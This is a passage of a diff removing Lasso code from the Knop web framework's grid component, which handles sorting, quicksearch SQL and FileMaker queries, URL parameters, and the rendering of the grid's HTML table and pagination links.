-		-optional='width',
-		-optional='class',
-		// -optional='raw',		// TODO: not implemented 
-		-optional='url',
-		-optional='keyparamname',
-		-optional='defaultsort',
-		-optional='nosort',
-		-optional='template',
-		-optional='quicksearch';
-		local: 'timer'=knop_timer; 
-		
-		fail_if: (local_defined: 'template') && #template -> type != 'string' 
-			&& #template -> type != 'map'  
-			&& #template -> type != 'tag', -1, 'Template must be either string, map or compound expression';
-		local: 'field'=map;
-
-		local_defined('name') ? #field -> insert('name' = #name); 
-		local_defined('class') ? #field -> insert('class' = #class); 
-		local_defined('url') ? #field -> insert('url' = #url); 
-		local_defined('keyparamname') ? #field -> insert('keyparamname' = #keyparamname); 
-		local_defined('width') ? #field -> insert('width' = #width);
-		#field !>> 'keyparamname' ? #field -> (insert: 'keyparamname' = '-keyvalue');
-		
-		if: (local_defined: 'template');
-			#field -> (insert: 'template'=(#template -> type == 'string' ? (map: '-default'=#template) | #template));
-		/if;
-		if: (local_defined: 'name');
-			#field -> (insert: 'label'=( (local_defined: 'label') ? #label | #name ) );
-			#field -> (insert: 'dbfield'=( (local_defined: 'dbfield') ? #dbfield | #name ) );
-			#field -> (insert: 'nosort'=(local_defined: 'nosort'));
-			if(local_defined('defaultsort')
-				//&& !(local_defined: 'nosort') 
-				&& (self -> 'defaultsort') == ''
-				//&& !(self -> 'nosort')
-				); 
-				(self -> 'defaultsort') = #name;
-				if: (self -> 'sortfield') == '';
-					(self -> 'sortfield') = (self -> 'defaultsort');
-					if: #defaultsort == 'desc' || #defaultsort == 'descending';
-						(self -> 'sortdescending') = true;
-					/if;
-				/if;
-			/if;
-			(self -> 'dbfieldmap') -> (insert: #name = ((local_defined: 'dbfield') && #dbfield != '' ? #dbfield | #name));
-		/if;
-		(local_defined: 'quicksearch') ? (self -> 'quicksearch_fields') -> (insert: ((local_defined: 'dbfield') ? #dbfield | (local: 'name')));
-		
-		if(local_defined('name') || local_defined('label'));
-			(self -> 'fields') -> (insert: #field);
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-	/define_tag;
-	
-	define_tag: 'sortparams', -description='Returns a Lasso-style pair array with sort parameters to use in the search inline.\n\
-		Parameters:\n\
-		-sql (optional)\n\
-		-removedotbackticks (optional flag) Use with -sql for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.',
-		-optional='sql',
-		-optional='removedotbackticks';
-		local: 'timer'=knop_timer; 
-		if: local_defined: 'sql';
-			fail_if: (self -> 'database') -> 'isfilemaker', 7009, '-sql can not be used with FileMaker';
-			(self -> 'sortfield') == '' ? return;
-			local('output'=string);
-			if: (self -> 'dbfieldmap') >> (self -> 'sortfield');
-				#output=' ORDER BY ';
-				if(local_defined('removedotbackticks'));
-					#output += '`' + knop_stripbackticks((self -> 'dbfieldmap') -> find(self -> 'sortfield')) + '`';
-				else;
-					#output += '`' + string_replace(knop_stripbackticks((self -> 'dbfieldmap') -> find(self -> 'sortfield')), -find='.', -replace='`.`') + '`';
-				/if;
-				if: (self -> 'sortdescending');
-					#output += ' DESC';
-				/if;
-			/if;
-		else;
-			local: 'output'=array;
-			(self -> 'sortfield') == '' ? return: @#output;
-			if: (self -> 'dbfieldmap') >> (self -> 'sortfield');
-				#output -> (insert: -sortfield=(self -> 'dbfieldmap') -> (find: (self -> 'sortfield')) );
-				if: (self -> 'sortdescending');
-					#output -> (insert: -sortorder='descending');
-				/if;
-			/if;
-		/if;
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-
-	define_tag: 'quicksearch', -description='Returns a pair array with fieldname=value to use in a search inline. If you specify several fields in the grid as -quicksearch (visible or not), they will be treated as if they were one single concatenated field. Quicksearch will take each word entered in the search field and search for them in the combined set of quicksearch fields, performing a "word begins with" match (unless you specify -contains when calling -> quicksearch).\n\
-			So if you enter dev joh it will find records with firstname=Johan, occupation=Developer.\n\
-			If you\'re familiar with how FileMaker performs text searches, this is the way quicksearch tries to behave.\n\
-			Parameters:\n\
-			-sql (optional flag) Return an SQL string for the search parameters instead.\n\
-			-contains (optional flag) Perform a simple contains search instead of emulating "word begins with" search\n\
-			-value (optional flag) Output just the search value of the quicksearch field instead of a pair array or SQL string\n\
-			-removedotbackticks (optional flag) Use with -sql for backward compatibility for fields that contain periods.  If you use periods in a fieldname then you cannot use a JOIN in Knop.',
-		-optional='sql',
-		-optional='contains',
-		-optional='value',
-		-optional='removedotbackticks';
-		local: 'timer'=knop_timer; 
-		
-		local: 'output'=array,
-			'output_temp'=array,
-			'_sql'=(local_defined: 'sql'), 
-			'wordseparators'=',.- ("@\n\r', // \r and \n must not come after each other as \r\n, but \n\r is fine. 
-			'fieldvalue', 'onevalue', 'field', 'wordseparator';
-		fail_if: #_sql && (self -> 'database') -> 'isfilemaker', 7009, '-sql can not be used with FileMaker';
-
-		#wordseparators = #wordseparators -> (split: '');
-		if: (self -> 'quicksearch_form') -> type != 'form';
-			if: #_sql; 
-				return: string;
-			else;
-				return: array;
-			/if;
-		/if;
-		if: local_defined: 'value';
-			return: string: ((self -> 'quicksearch_form') -> (getvalue: '-q'));
-		/if;
-		
-		#fieldvalue = string: ((self -> 'quicksearch_form') -> (getvalue: '-q'));
-		if: #fieldvalue != '';
-			if: (self -> 'database') -> 'isfilemaker';
-				#output -> (insert: -logicaloperator='or');
-				iterate: (self -> 'quicksearch_fields'), #field;
-					if: (local_defined: 'contains');
-						#output -> (insert:  -op = 'cn');
-					/if;
-					#output -> (insert:  #field = #fieldvalue);
-				/iterate;
-			else;
-				// search each word separately
-				#fieldvalue = #fieldvalue -> (split: ' ');
-				iterate: #fieldvalue, #onevalue;
-					#output_temp = array;
-					iterate: (self -> 'quicksearch_fields'), #field;
-						if: #_sql;
-							if: (local_defined: 'contains');
-								if(local_defined('removedotbackticks'));
-									#output_temp -> insert('`' + knop_stripbackticks(encode_sql(#field)) + '`' 
-										+ ' LIKE "%' + encode_sql(#onevalue ) + '%"');
-								else;
-									#output_temp -> insert('`' + string_replace(knop_stripbackticks(encode_sql(#field)), -find='.', -replace='`.`') + '`' 
-										+ ' LIKE "%' + encode_sql(#onevalue ) + '%"');
-								/if;
-							else;
-								if(local_defined('removedotbackticks'));
-									#output_temp -> insert('`' + knop_stripbackticks(encode_sql(#field)) + '`' 
-									+ ' LIKE "' + encode_sql(#onevalue ) + '%"');
-								else;
-									#output_temp -> insert('`' + string_replace(knop_stripbackticks(encode_sql(#field)), -find='.', -replace='`.`') + '`' 
-									+ ' LIKE "' + encode_sql(#onevalue ) + '%"');
-								/if;
-								// basic emulation of "word begins with"
-								iterate: #wordseparators, #wordseparator;
-									if(local_defined('removedotbackticks'));
-										#output_temp -> insert('`' + knop_stripbackticks(encode_sql(#field)) + '`' 
-											+ ' LIKE "%' + encode_sql(#wordseparator + #onevalue ) + '%"');
-									else;
-										#output_temp -> insert('`' + string_replace(knop_stripbackticks(encode_sql(#field)), -find='.', -replace='`.`') + '`' 
-											+ ' LIKE "%' + encode_sql(#wordseparator + #onevalue ) + '%"');
-									/if;
-								/iterate;
-							/if;
-						else;
-							if: (local_defined: 'contains');
-								#output_temp -> (insert:  -op='cn');
-								#output_temp -> (insert:  #field = #onevalue );
-							else;
-								#output_temp -> (insert:  -op='bw');
-								#output_temp -> (insert:  #field = #onevalue );
-								if: !(self -> 'database' -> 'isfilemaker');
-									// this variant is not needed for FileMaker since it already searches with "word begins with" as default							#output_temp -> (insert:  -op='cn');
-									iterate: #wordseparators, #wordseparator;
-										#output_temp -> (insert:  -op='cn');
-										#output_temp -> (insert:  #field = #wordseparator + #onevalue );
-									/iterate;
-								/if;
-							/if;
-						/if;
-					/iterate;
-					if: #_sql;
-						if: #output_temp -> size > 1;
-							#output_temp = '(' + #output_temp -> (join: ' OR ') + ')';
-						else;
-							#output_temp = #output_temp -> first;
-						/if;
-						#output -> (insert: #output_temp);
-					else;
-						if: #output_temp -> size > 2;
-							#output_temp -> (insert: -opbegin='or', 1);
-							#output_temp -> (insert: -opend='or');
-						/if;
-						#output -> (merge: #output_temp);
-					/if;
-				/iterate;
-				
-				if: #_sql;
-					if: #output -> size;
-						#output = '(' + #output -> (join: ' AND ') + ')';
-					else;
-						#output = string;
-					/if;
-				else;
-					if: #output -> size;
-						#output -> (insert: -opbegin='and', 1);
-						#output -> (insert: -opend='and');
-					/if;
-				/if;
-			/if; // isfilemaker
-		/if; // #fieldvalue != ''
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-	
-	define_tag: 'urlargs', -description='returns all get params that begin with - as a query string, for internal use in links in the grid. \n\
-			Parameters:\n\
-			-except (optional) Exclude these parameters (string or array)\n\
-			-prefix (optional) For example ? or &amp; to include at the beginning of the querystring \n\
-			-suffix (optional) For example &amp; to include at the end of the querystring',
-		-optional='except', -copy,
-		-optional='prefix',	// for example ? or &amp; to include at the beginning of the querystring 
-		-optional='suffix';	// for example &amp; to include at the end of the querystring
-		local: 'timer'=knop_timer; 
-		local: 'output'=array, 'param'=null;
-
-		// only getparams to not send along -action etc
-		local: 'clientparams'=client_getparams;
-
-		!(local_defined: 'except') ? local: 'except'=array;
-		#except -> type != 'array' ? #except = array: #except;
-		#except -> (insert: -session);
-		
-		// add getparams that begin with -
-		iterate: #clientparams, #param;
-			if: #param -> type == 'pair';
-				if: #param -> name -> (beginswith: '-') && #except !>> #param -> name;
-					#output -> (insert: (encode_stricturl: #param -> name) + '=' + (encode_stricturl: #param -> value));
-				/if;
-			else; // just a string param (no pair)
-				if: #param -> (beginswith: '-') && #except !>> #param;
-					#output -> (insert: encode_stricturl: #param);
-				/if;
-			/if;
-		/iterate;
-
-		if: self -> 'nav' -> isa('nav');
-			// send params that have been defined as -params in nav
-			local: 'navitem'=self -> 'nav' -> getnav;
-			// add post params
-			#clientparams -> (merge: client_postparams);
-
-			iterate: #navitem -> (find: 'params'), #param;
-				if: #clientparams >> #param && #clientparams -> (find: #param) -> first -> type == 'pair';
-					#output -> (insert: (encode_stricturl: #clientparams -> (find: #param) -> first -> name) +  '=' + (encode_stricturl: #clientparams -> (find: #param) -> first -> value));
-				else: #clientparams >> #param;
-					#output -> (insert: encode_stricturl: #clientparams -> (find: #param) -> first);
-				/if;
-			/iterate;
-		/if;
-		#output = string: (#output -> (join: '&amp;'));
-		// restore / in paths
-		#output -> replace('%2F', '/');
-
-
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		if: #output -> size;
-			return: (local: 'prefix') + #output + (local: 'suffix');
-		/if;
-
-	/define_tag;
-	
-	
-	define_tag: 'renderhtml', -description='Outputs the complete record listing. Calls renderheader, renderlisting and renderfooter as well. \
-			If 10 records or more are shown, renderfooter is added also just below the header.\n\
-			Parameters:\n\
-			-inlinename (optional) If not specified, inlinename from the connected database object is used\n\
-			-numbered (optional flag or integer) If specified, pagination links will be shown as page numbers instead of regular prev/next links. Defaults to 6 links, specify another number (minimum 6) if more numbers are wanted.',
-		-optional='inlinename',
-		-optional='xhtml',
-		-optional='numbered',
-		-optional='startwithfooter';
-		local: 'timer'=knop_timer; 
-
-		local: 'output'=string,
-			'db'=@(self -> 'database'), 
-			'_xhtml' = (((local_defined: 'xhtml') && #xhtml != false) ? true | false);
-		if(local_defined('numbered'));
-			local('numberedpaging'=((#numbered !== false) ? integer(#numbered) | false));
-		else;
-			local('numberedpaging'=(((self -> 'numbered') !== false) ? integer(self -> 'numbered') | false));
-		/if;
-
-		local_defined('startwithfooter') && #startwithfooter != false ? #startwithfooter = true | local('startwithfooter') = false;
-
-		!(local_defined: 'inlinename') ? local: 'inlinename'=string;
-		self -> 'footer' = (self -> (renderfooter: -xhtml = #_xhtml, -numbered=#numberedpaging));
-		#output += (self -> renderheader(-start, -xhtml = #_xhtml, -startwithfooter = #startwithfooter));
-		if: #db -> shown_count >= 10 && !#startwithfooter;
-			#output += self -> 'footer';
-		/if;
-		#output += (self -> (renderlisting: -inlinename=#inlinename, -xhtml=#_xhtml));
-
-		#output += self -> 'footer' + '</table>\n';
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-
-
-	define_tag: 'renderlisting', -description='Outputs just the actual record listing. Is called by renderhtml. \
-			Parameters:\n\
-			-inlinename (optional) If not specified, inlinename from the connected database object is used',
-		-optional='inlinename',
-		-optional='xhtml';
-		local: 'timer'=knop_timer; 
-
-		local: '_inlinename'=string, 
-			'output'=string, 
-			'fields'=(self -> 'fields'), 
-			'field'=string,
-			'keyfield'=null,
-			'affectedrecord_keyvalue'=null,
-			'record_loop_count'=integer,
-			'db'=@(self -> 'database'), 
-			'nav'=@(self -> 'nav'),
-			'dbfieldmap'=@(self -> 'dbfieldmap'),
-			'classarray'=array,
-			'fieldname'=string,
-			'value'=string,
-			'keyparamname',
-			'url',
-			'url_cached_temp',
-			'_xhtml' = (((local_defined: 'xhtml') && #xhtml != false) ? true | false),
-			'lang'=@(self -> 'lang');
-			
-		if: (local: 'inlinename')!='';
-			#_inlinename = #inlinename;
-		else: #db -> type == 'database';
-			#_inlinename=#db -> 'inlinename';
-			#keyfield=#db -> 'keyfield';
-			#affectedrecord_keyvalue = #db -> 'affectedrecord_keyvalue';
-		/if;
-		#output += '\n<tbody>\n';
-		if: #nav -> (isa: 'nav');
-			iterate: #fields, #field;
-				if: (#field -> (find: 'url')) != '';
-					#url = (#field -> (find: 'url'));
-					#keyparamname = (#field -> (find: 'keyparamname'));
-					#field -> insert('url_cached' = (#nav -> (url: -path=#url, 
-						#keyparamname='###keyvalue###',
-						-autoparams,
-						-except=(array: -path))));
-				/if;
-			/iterate;
-		/if;
-		records: -inlinename=#_inlinename;
-			#record_loop_count = loop_count;
-			#output += '\n<tr>';
-			iterate: #fields, #field;
-				#fieldname = (#dbfieldmap -> (find: (#field -> (find: 'name'))));
-				#keyparamname = (#field -> (find: 'keyparamname'));
-				#value=(field: #fieldname);
-				if: #field -> (find: 'template') -> type == 'map';
-					#value=string(#value);
-					if: #field -> (find: 'template') >> #value;
-						#value = #field -> (find: 'template') -> (find: #value);
-					else: #field -> (find: 'template') >> '-default';
-						#value = #field -> (find: 'template') -> (find: '-default');
-					else;
-						// show fieldvalue as is
-					/if;
-					// substitute field value in the display template
-					#value -> (replace: '#value#', (field: #fieldname));
-				else: #field -> (find: 'template') -> (isa: 'tag');
-					#value = #field -> (find: 'template') -> (run: -params=#value);
-				/if;
-				#classarray=array;
-				if:  #affectedrecord_keyvalue == (field: #keyfield) && (field: #keyfield) != '';
-					// hightlight affected row
-					#classarray -> (insert: 'highlight');
-				else;
-					(#record_loop_count - 1)  % 2 == 0 ? #classarray -> (insert: 'even');
-				/if;
-				// Added by JC 081127 to handle td specific classes
-				(#field -> find('class') -> size ? #classarray -> insert( #field -> find('class')));
-				#output += '<td';
-				if: #classarray -> size;
-					#output += ' class="' + #classarray -> (join: ' ') + '"';
-				/if;
-				#output += '>';
-				if: (#field -> (find: 'url')) != '';
-					#url = (#field -> (find: 'url'));
-					/*
-					if: #nav -> (isa: 'nav') && #url !>> '#value#';
-						#output += '<a href="' + (#nav -> (url: -path=#url, 
-							#keyparamname=(field: #keyfield),
-							-autoparams,
-							-except=(array: -path)));
-					*/
-					if: #field -> find('url_cached') -> size && #url !>> '#value#';
-						#url_cached_temp = #field -> find('url_cached');
-						#url_cached_temp -> replace('###keyvalue###', field(#keyfield));
-						#output += '<a href="' + #url_cached_temp;
-						#output += '">' +  #value 
-							// show something to click on even if the field is empty
-							+ ((string_findregexp: #value, -find='\\w*') -> size == 0 ? (#lang -> linktext_edit)) 
-							+ '</a>';
-					else;
-						#url -> (replace: '#value#', (field: #fieldname));
-						#output += '<a href="' + #url + '"'; 
-						#url -> (beginswith: 'http://') || #url -> (beginswith: 'https://') || #url -> (beginswith: 'mailto:')
-							? #output += ' class="ext"';
-						#output += '>' +  #value + '</a>';
-					/if;
-				else;
-					#output += #value;
-				/if;
-				#output += '</td>\n';
-			/iterate;
-			#output += '</tr>\n';
-		/records;
-		#output += '\n</tbody>\n';
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-	
-	
-	define_tag: 'renderheader', -description='Outputs the header of the grid with the column headings. \
-			Automatically included by ->renderhtml. \n\
-			Parameters:\n\
-			-start (optional flag) Also output opening <table> tag',
-		-optional='start',
-		-optional='xhtml',
-		-optional = 'startwithfooter';
-		local: 'timer'=knop_timer; 
-		local: 'output'=string, 
-			'db'=@(self -> 'database'), 
-			'nav'=@(self -> 'nav'),
-			'fields'=@(self -> 'fields'), 
-			'field'=string,
-			'classarray'=array,
-			'_xhtml' = ((local_defined: 'xhtml') && #xhtml != false) ? true | false,
-			'lang'=@(self -> 'lang');
-		local_defined('startwithfooter') && #startwithfooter != false ? #startwithfooter = true | local('startwithfooter') = false;
-
-
-		(local_defined: 'start') ? #output += '<table id="' + (self -> 'tbl_id') + '" class="grid' + (self -> 'class' -> size > 0 ? ' ' + self -> 'class') + '">';
-		#output += '<thead>\n<tr>';
-		if: (self -> 'quicksearch_form') -> type == 'form';
-			#output += '<th colspan="' + (#fields -> size) + '" class="quicksearch';
-				((self -> 'quicksearch_form') -> (getvalue: '-q') != '') ? #output += ' highlight';
-			#output += '">';
-
-			if: (self -> 'rawheader') -> size > 0 ;
-				#output += (self -> 'rawheader');
-			/if;
-
-
-			#output += (self -> 'quicksearch_form') -> (renderform: -xhtml = #_xhtml);
-			if: (self -> 'quicksearch_form_reset') -> type =='form';
-				#output += (self -> 'quicksearch_form_reset') -> (renderform: -xhtml = #_xhtml);
-			/if;
-			#output += '</th></tr>\n';
-		else((self -> 'rawheader') -> size > 0);
-			#output += '<th colspan="' + (#fields -> size) + '">';
-			#output += (self -> 'rawheader');
-			#output += '</th></tr>\n';
-		/if;
-
-		if(#startwithfooter);
-			#output += self -> 'footer';
-		/if;
-
-		#output += '<tr>';
-
-		iterate: #fields, #field;
-			#classarray=array;
-			//(self -> 'quicksearch_form') -> type == 'form' ? #classarray -> (insert: 'notopborder');
-			if: !(self -> 'nosort');
-				(self -> 'sortfield') == (#field -> (find: 'name')) 
-					&& !(#field -> (find: 'nosort')) ? #classarray -> (insert: 'sort');
-			/if;
-			#output += '<th';
-			if: #field -> (find: 'width') > 0;
-				#output += ' style="width: ' + (integer: #field -> (find: 'width')) + 'px;"';
-			/if;
-			// Added by Jolle 081127 to handle td specific classes
-			(#field -> find('class') -> size ? #classarray -> insert( #field -> find('class')));
-			if: #classarray -> size;
-				#output += ' class="' + #classarray -> (join: ' ') + '"';
-			/if;
-			#output += '>';
-			if: (#field -> (find: 'nosort')) || (self -> 'nosort');
-				#output += '<div>' + (#field -> (find: 'label')) '</div>';
-			else;
-				if: (#classarray >> 'sort' && (self -> 'sortdescending') && (self -> 'defaultsort') == '');
-					// create link to change to unsorted
-					if: #nav -> isa('nav');
-						#output += '<a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -sort, -desc, -page, -path)) + '"'
-							+ ' title="' + (#lang -> linktitle_showunsorted) + '">';
-					else;
-						#output += '<a href="./'
-							+ (self -> (urlargs: -except=(array: -sort, -desc, -page), -prefix='?')) + '"'
-							+ ' title="' + (#lang -> linktitle_showunsorted) + '">';
-					/if;
-				else;
-					// create link to toggle sort mode
-					if: #nav -> isa('nav');
-						#output += '<a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -sort, -desc, -page, -path), 
-							-urlargs='-sort=' + (#field -> (find: 'name'))
-								+ (#classarray >> 'sort' && !(self -> 'sortdescending') ? '&amp;-desc')) + '"'
-							+ ' title="' + (#classarray >> 'sort' 
-								?  (#lang -> linktitle_changesort) + ' ' 
-									+ ((self -> 'sortdescending') ? (#lang -> linktitle_ascending) | (#lang -> linktitle_descending))
-								| (#lang -> linktitle_sortascby) + ' ' + (encode_html: (#field -> (find: 'label'))) ) + '">';
-					else;
-						#output += '<a href="./?-sort=' + (#field -> (find: 'name')) 
-							+ (#classarray >> 'sort' && !(self -> 'sortdescending') ? '&amp;-desc') 
-							+ (self -> (urlargs: -except=(array: -sort, -desc, -page), -prefix='&amp;')) + '"'
-							+ ' title="' + (#classarray >> 'sort' 
-								?  (#lang -> linktitle_changesort) + ' ' 
-									+ ((self -> 'sortdescending') ? (#lang -> linktitle_ascending) | (#lang -> linktitle_descending))
-								| (#lang -> linktitle_sortascby) + ' ' + (encode_html: (#field -> (find: 'label'))) ) + '">';
-					/if;
-				/if;
-				#output += (#field -> (find: 'label'));
-				if: (string_findregexp: (#field -> (find: 'label')), -find='\\S') -> size == 0;
-					#output += '&nbsp;'; // to show sort link as block element properly even for empty label
-				/if;
-				if: #classarray >> 'sort';
-					#output += ' <span class="sortmarker"> ' + ((self -> 'sortdescending') ? '&#9660;' | '&#9650;') + '</span>';
-				/if;
-				#output += '</a>';
-			 /if;
-			 #output += '</th>\n';
-		/iterate;
-		#output += '</tr>\n</thead>\n';
-		self -> 'tagtime_tagname'=tag_name;
-		self -> 'tagtime'=integer: #timer; // cast to integer to trigger onconvert and to "stop timer"
-		return: @#output;
-	/define_tag;
-
-	define_tag: 'renderfooter', -description='Outputs the footer of the grid with the prev/next links and information about found count. \
-			Automatically included by ->renderhtml\n\
-			Parameters:\n\
-			-end (optional flag) Also output closing </table> tag\n\
-			-numbered (optional flag or integer) If specified, pagination links will be shown as page numbers instead of regular prev/next links. Defaults to 6 links, specify another number (minimum 6) if more numbers are wanted.',
-		-optional='end',
-		-optional='numbered',
-		-optional='xhtml';
-		local: 'timer'=knop_timer; 
-		local: 'output'=string, 
-			'db'=@(self -> 'database'), 
-			'nav'=@(self -> 'nav'),
-			'fields'=@(self -> 'fields'), 
-			'field'=string,
-			//'numberedpaging'=(((local_defined: 'numbered') && #numbered !== false) ? integer(#numbered) | false),
-			'_xhtml' = ((local_defined: 'xhtml') && #xhtml != false) ? true | false,
-			'lang'=@(self -> 'lang'),
-			'page'=(self -> page),
-			'lastpage'=(self -> lastpage),
-			'url_cached',
-			'url_cached_temp';
-		if(local_defined('numbered'));
-			local('numberedpaging'=((#numbered !== false) ? integer(#numbered) | false));
-		else;
-			local('numberedpaging'=(((self -> 'numbered') !== false) ? integer(self -> 'numbered') | false));
-		/if;
-			
-		if(#nav -> isa('nav'));
-			#url_cached=#nav -> url(-autoparams, -getargs, -except=(array: -page, -path), 
-					-urlargs='-page=###page###');
-		/if;
-		if: #numberedpaging !== false && #numberedpaging < 6;
-			// show 10 page numbers as default
-			#numberedpaging = 6;
-		/if;
-		if: #numberedpaging;
-			// make sure we have an even number
-			#numberedpaging += #numberedpaging % 2;
-		/if;
-		
-		#output += '\n<tr><th colspan="' + (#fields -> size) + '" class="footer first'  + '">';
-		/* not used
-		if: #nav -> isa('nav');
-			local: 'url'=#nav -> url(-autoparams, -getargs, -except=(array: -page, -path), -urlargs='-page='),
-				'url_prefix'=(#nav -> 'navmethod' == 'param' ? '&amp;' | '?');
-		else;
-			local: 'url'='./' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')),
-				'url_prefix'='?';
-		/if;
-		*/
-		// JC 2010-05-14 added span separation for better styling
-		if: #numberedpaging;
-			local: 'page_from'=1,
-				'page_to'=#lastpage;
-			if: #lastpage > #numberedpaging;
-				#page_from=#page - (#numberedpaging/2 - 1);
-				#page_to=#page + (#numberedpaging/2);
-				if: #page_from < 1;
-					#page_to += (1 - #page_from);
-					#page_from = 1;
-				/if;
-				if: #page_to > #lastpage;
-					#page_from = #lastpage - (#numberedpaging - 1);
-					#page_to = #lastpage;
-				/if;
-			/if;
-			#output += '<span class="foundcount">' + #db -> found_count + ' ' + (#lang -> footer_found) + '</span> &#8212; <span class="pagination">' + (#lang -> linktext_gotopage) + ': '; // SP customization
-			if: #page > 1;
-				if: #url_cached -> size;
-					#url_cached_temp=#url_cached;
-					// 2010-12-23	SP	Corrected pagination bug for -numbered.
-					#url_cached_temp -> replace('-page=###page###', '-page=' + 1);
-					/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path), 
-						-urlargs='-page=' + (#page - 1)) + '" class="prevnext prev"'
-						+ ' title="' + (#lang -> linktitle_goprev) + '">' + (#lang -> linktext_prev) + '</a> ';*/
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext first"'
-						+ ' title="' + (#lang -> linktitle_gofirst) + '">' + (#lang -> linktext_first) + '</a> ';
-
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + (#page - 1));
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext prev"'
-						+ ' title="' + (#lang -> linktitle_goprev) + '">' + (#lang -> linktext_prev) + '</a> ';
-				else;
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=1" class="prevnext first"'
-						+ ' title="' + (#lang -> linktitle_gofirst) + '">' + (#lang -> linktext_first) + '</a> ';
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + (#page - 1) + '" class="prevnext prev"'
-						+ ' title="' + (#lang -> linktitle_goprev) + '">' + (#lang -> linktext_prev) + '</a> ';
-				/if;
-			else;
-				//#output += ' <span class="prevnext prev dim">' + (#lang -> linktext_prev) + '</span> ';
-			/if;
-			if: #page_from > 1;
-				if: #url_cached -> size;
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + 1);
-					/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),
-						-urlargs='-page=1') + '" class="prevnext numbered first">1</a>';*/
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext numbered first">1</a>';
-				else;
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=1" class="prevnext numbered first">1</a> ';
-				/if;
-				if: #page_from > 2;
-					#output +='...';
-				/if;
-			/if;
-			loop: -from=#page_from, -to=#page_to;
-				if: loop_count == #page;
-					#output += ' <span class="numbered current">' + loop_count + '</span> ';
-				else;
-					if: #url_cached -> size;
-						#url_cached_temp=#url_cached;
-						#url_cached_temp -> replace('-page=###page###', '-page=' + loop_count);
-						/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),
-							-urlargs='-page=' + loop_count) + '" class="prevnext numbered">' + loop_count + '</a> ';*/
-						#output += ' <a href="' + #url_cached_temp + '" class="prevnext numbered">' + loop_count + '</a> ';
-					else;
-						#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-							+ '-page=' + loop_count + '" class="prevnext numbered">' + loop_count + '</a> ';
-					/if;
-				/if;
-			/loop;
-			if: #page_to < #lastpage;
-				if: #page_to < (#lastpage - 1);
-					#output += '...';
-				/if;
-				if: #url_cached -> size;
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + #lastpage);
-					/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),
-						-urlargs='-page=' + #lastpage) + '" class="prevnext numbered last">' + #lastpage + '</a> ';*/
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext numbered last">' + #lastpage + '</a> ';
-				else;
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + #lastpage + '" class="prevnext numbered last">' + #lastpage + '</a> ';
-				/if;
-			/if;
-	
-			if: #page < #lastpage;
-				if: #url_cached -> size;
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + (#page + 1));
-					/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path), 
-						-urlargs='-page=' + (#page + 1)) + '" class="prevnext next"'
-						+ ' title="' + (#lang -> linktitle_gonext) + '">' + (#lang -> linktext_next) + '</a> ';*/
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext next"'
-						+ ' title="' + (#lang -> linktitle_gonext) + '">' + (#lang -> linktext_next) + '</a> ';
-
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + #lastpage);
-					#output += ' <a href="' + #url_cached_temp + '" class="prevnext last"'
-						+ ' title="' + (#lang -> linktitle_golast) + '">' + (#lang -> linktext_last) + '</a> ';
-				else;
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + (#page + 1) + '" class="prevnext next"'
-						+ ' title="' + (#lang -> linktitle_gonext) + '">' + (#lang -> linktext_next) + '</a> ';
-					#output += ' <a href="./?' + (self -> (urlargs: -except=(array: -page, -path), -suffix='&amp;')) 
-						+ '-page=' + #lastpage + '" class="prevnext last"'
-						+ ' title="' + (#lang -> linktitle_golast) + '">' + (#lang -> linktext_last) + '</a> ';
-				/if;
-			else;
-				//#output += ' <span class="prevnext next dim">' + (#lang -> linktext_next) + '</span> ';
-			/if;
-		
-			#output += '</span> ';
-		
-		
-		else;  // regular prev/next links
-		
-		
-			if: #page > 1;
-				if: #url_cached -> size;
-					#url_cached_temp=#url_cached;
-					#url_cached_temp -> replace('-page=###page###', '-page=' + 1);
-					/*#output += ' <a href="' + #nav -> url(-autoparams, -getargs, -except=(array: -page, -path),
